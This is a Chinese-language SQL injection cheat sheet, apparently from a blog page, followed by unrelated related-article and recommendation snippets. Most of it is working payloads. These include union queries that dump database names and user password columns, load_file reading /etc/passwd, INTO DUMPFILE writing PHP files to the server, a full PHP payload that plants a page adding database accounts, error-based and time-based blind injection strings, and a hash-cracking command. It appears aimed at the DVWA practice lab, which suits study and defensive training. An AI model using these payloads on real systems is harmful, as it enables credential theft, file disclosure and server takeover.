SQL注入

按变量类型分:数字型和字符型

按HTTP提交方式分:POST注入、GET注入和Cookie注入

按注入方式分:布尔注入、联合注入、堆叠注入、报错注入、延时注入、内联注入

按数据库类型分:

sql:oracle、mysql、mssql、access、sqlite、postgersql

nosql:mongodb、redis



布尔型

0x01 检测有无注入

1' and '1'='1 1' and '1'='2 简化版 1' and '1 1' and '0

猜测服务器端查询语句是:select xx from table where id='1'


0x02 检测表的列数

' order by 10 --+

猜测服务器端查询语句是:select xx from table where id=' ' order by 10 --'


0x03 检测显示信息位

' union select 1,2 --

union联合查询,同时显示多个select查询结果


0x04 显示信息位替换成查询语句

' union select user(),@@datadir --



从元数据表information_schema查询信息

0x001 查库名

' union select schema_name from information_schema.schemata --


0x002 查一个库里的所有表

' union select table_name from information_schema.tables where table_schema='...' --


0x003 查列名

' union select column_name from infomation_schema.columns where table_schema='...' and table_name='...' --


0x004 查列内容

' union select user,password from dvwa.users -- ' union select user,password from users -- ' union select null,concat(user,0x3a,password) from users --



其他语句


查所有库以及表

' union select table_name,table_schema from information_schema.tables --


统计每个库中表的数量

' union select table_schema,count(*) from information_schema.tables group by table_schema --


sql注入其他利用

读取文件

union select load_file('/etc/passwd') --


写入文件

union select "" into dumpfile "/var/www/a.php" --

//不指定路径的话会写在默认路径下

//目录没权限的话可以放在通用目录/tmp

//往往需要配合文件包含漏洞


如果一句话被过滤,可以使用16进制编码

cat a.php | xxd -ps | tr -d '\n' //打开a.php 用xxd以16进制显示出来 tr -d删除最后的换行符 //然后在链接里注入 union select (0x16进制数) into dumpfile '写入路径' -- //括号前如果有逗号,得加空格


把查询内容保存在本地文件

union select concat(user,0x3a,password) from users into outfile '/tmp/a.php' --


全局函数

@@datadir 数据库当前位置

@@hostname 主机名

@@VERSION 版本

@@version_compile_os 当前操作系统版本


ASCLL码转字符(用于绕过)

char()


连接字符串

concat_ws(分割字符,字符串1,字符串2)


计算哈希

md5()


以特定符号分割字符串

substring_index(查询语句,"分割符",查看分割后的第几段)


破解hash值

join 开源密码破解工具(linux里)

join --format=raw-MD5 xxx.txt

#如果已经破解过会报错


一个思路:编写服务器端代码写入,以添加账号

写入后访问这个文件,在网页填写数值并提交

union select  '<?php if(isset($_POST["submit"]))  {  $userID = $_POST["userID"];  $first_name = $_POST["first_name"];  $last_name = $_POST["last_name"]; $username = $_POST["username"];  $avatar = $_POST["avatar"];  echo "userID: $userID<BR>";  echo "first_name: $first_name<BR>";  echo "last_name: $last_name<BR>";  echo "username: $username<BR>";  echo "avatar: $avatar<BR>"; $con=mysqli_connect("127.0.0.1","root","","dvwa");  if (mysqli_connect_errno())  {  echo "Failed to connect to MySQL: " . mysqli_connect_error();  } else {  echo "Connected to database<BR>";  }  $password = "123";  $sql="insert into dvwa.users values  (\\"$userID\\",\\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\\")";  if (mysqli_query($con,$sql))  {  echo "[Successful Insertion]: $sql";  } else {  echo "Error creating database: " . mysqli_error($con); } mysqli_close($con);  } ?>  <form method="post" action="<?php echo $_SERVER["PHP_SELF"]; ?>">  <input type="text" name="userID" value="33">  <br>  <input type="text" name="first_name" value="fh"> <br>  <input type="text" name="last_name" value="y"> <br>  <input type="text" name="username" value="yfh"> <br> <input type="text" name="avatar" value="yfh!"> <br>  <input type="submit" name="submit" value="Submit Form"> <br>  </form> ' INTO DUMPFILE '/tmp/user.php' --
' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name = $_POST["first_name"]; $last_name = $_POST["last_name"]; $username = $_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo "first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username: $username<BR>"; echo "avatar: $avatar<BR>"; $con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_error()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\ \"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\ \")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post" action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID" value="33"><br> <input type="text" name="first_name" value="fh"><br> <input type="text" name="last_name" value="y"><br> <input type="text" name="username" value="yfh"><br> <input type="text" name="avatar" value="yfh!"><br> <input type="submit" name="submit" value="Submit Form"><br> </form>' INTO DUMPFILE '/tmp/user.php' --



盲注

联合型

- 通过控制select可以控制回显

布尔型

- AND IF OR 通过bool运算,判断返回结果,观察页面有无正常显示即可

报错型

- 开启了mysql_error()函数的情况下

  - mysql 5.1以上

    - select extractvalue (1, concat (0x5f, (select user()), 0x5f))

  - mysql 5.1.5以上

    -  select updatexml (1, concat (0x5f, (select user()),0x5f ))

  - mysql 5.0以上  floor count group by

    - select count(*), concat( user(), floor(rand(0)*2))x from 表名.列名 group by x

  - mysql 5.5.5以上

    - 整形溢出报错

      - and exp(~(select * from (select user() )a ))

  - 列名重复报错

    - select * from (select NAME_CONST(user(), 1), NAME_CONST(user(), 1)) a

时间型

- select if(1=1, sleep(5), 'OK')

WEB渗透 - SQL注入(持续更新)的更多相关文章

  1. web渗透-sql注入

    何为sql注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,得到想要得到的信息. OWASPTop 10 此处的注 ...

  2. 【web渗透技术】渗透攻防Web篇-SQL注入攻击初级

    [web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的S ...

  3. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

  4. 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

    SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...

  5. 实验八 Web基础 SQL注入原理

    实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...

  6. 了解web漏洞-sql注入

    1:为什么要学web漏洞? 作为一个运维人员,日常工作就是保障服务器和网站的业务正常运行,平时也需要对服务器的安全工作加固,说到防护攻击问题,那么久必须去了解攻击者是怎么对服务器发动的一个流程,这样才 ...

  7. web安全—sql注入漏洞

    SQL注入-mysql注入 一.普通的mysql注入 MySQL注入不像注入access数据库那样,不需要猜.从mysql5.0以上的版本,出现一个虚拟的数据库,即:information_schem ...

  8. [Web安全]SQL注入

    Web网站最头痛的就是遭受攻击.Web很脆弱,所以基本的安防工作,我们必须要了解! 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意 ...

  9. 基础Web漏洞-SQL注入入门(手工注入篇)

    一.什么是SQL注入  SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...

随机推荐

  1. Linux_新建用户

    目录 1.新增用户 2.增加密码 新增用户:cn 进入root 输入新建命令 cn就是我们的新的用户名,也可以换成其他的 sudo useradd cn 接下来发现没有反应,是正常的,如图 查看是否新 ...

  2. Redis为什么会比MySQL快?

    1.Redis是基于内存存储的,MySQL是基于磁盘存储的 2.Redis存储的是k-v格式的数据.时间复杂度是O(1),常数阶,而MySQL引擎的底层实现是B+Tree,时间复杂度是O(logn), ...

  3. Invalid action class configuration that references an unknown class问题原因之s:select

    早先做个练习项目就出现了这个错误,各种查资料,然后各种尝试,依然没有解决,不过可以确定是前台页面导致的. 今天又碰到了这个问题,头疼啊!不能再略过了,使用最笨的方法,一个模块一个模块的排除.先看下我的 ...

  4. 吴裕雄--天生自然python学习笔记:Python uWSGI 安装配置

    本文主要介绍如何部署简单的 WSGI 应用和常见的 Web 框架. 以 Ubuntu/Debian 为例,先安装依赖包: apt-get install build-essential python- ...

  5. 第十六届“二十一世纪的计算”学术研讨会 密西根州立大学教授Anil K. Jain主题演讲

    Biometrics---How Do I Know Who You Are? 密西根州立大学教授Anil K. Jain主题演讲" title="第十六届"二十一世纪的 ...

  6. 状压DP小拼盘

    有的DP题,某一部分的状态只有两种,选或不选. 开数组记录,代价太大,转移不方便. 状态压缩意为,用 “0/1“ 表示 “选/不选“ . 把状态表示为二进制整数. There are 10 kinds ...

  7. 文本快速分类利器fasttext使用心得(踩坑之路)

    fasttext是文本分类的一大利器,优点:快,嗷嗷快:缺点:暂未发现.但是我在使用其做文本分类时候还是遇到了挺多坑,今天先总结一个: 网上有人说设置训练参数的时候,ngrams设置大于2可以提高模型 ...

  8. Linux命令alias - 设置命令的别名

    用途说明设置命令的别名.在linux系统中如果命令太长又不符合用户的习惯,那么我们可以为它指定一个别名.虽然可以为命令建立“链接”解决长文件名的问题,但对于带命令行参数的命令,链接就无能为力了.而指定 ...

  9. js数组中重复的对象去重

    var arr = [{ "name": "ZYTX", "age": "Y13xG_4wQnOWK1QwJLgg11d0pS4h ...

  10. OpenGL ES 学习笔记 - Overview - 小旋的博客

    移动端图形标准中,目前 OpenGL ES 仍然是比较通用的标准(Vulkan 则是新一代),这里新开一个系列用于记录学习 OpenGL ES 的历程,以便查阅理解. OverView OpenGL ...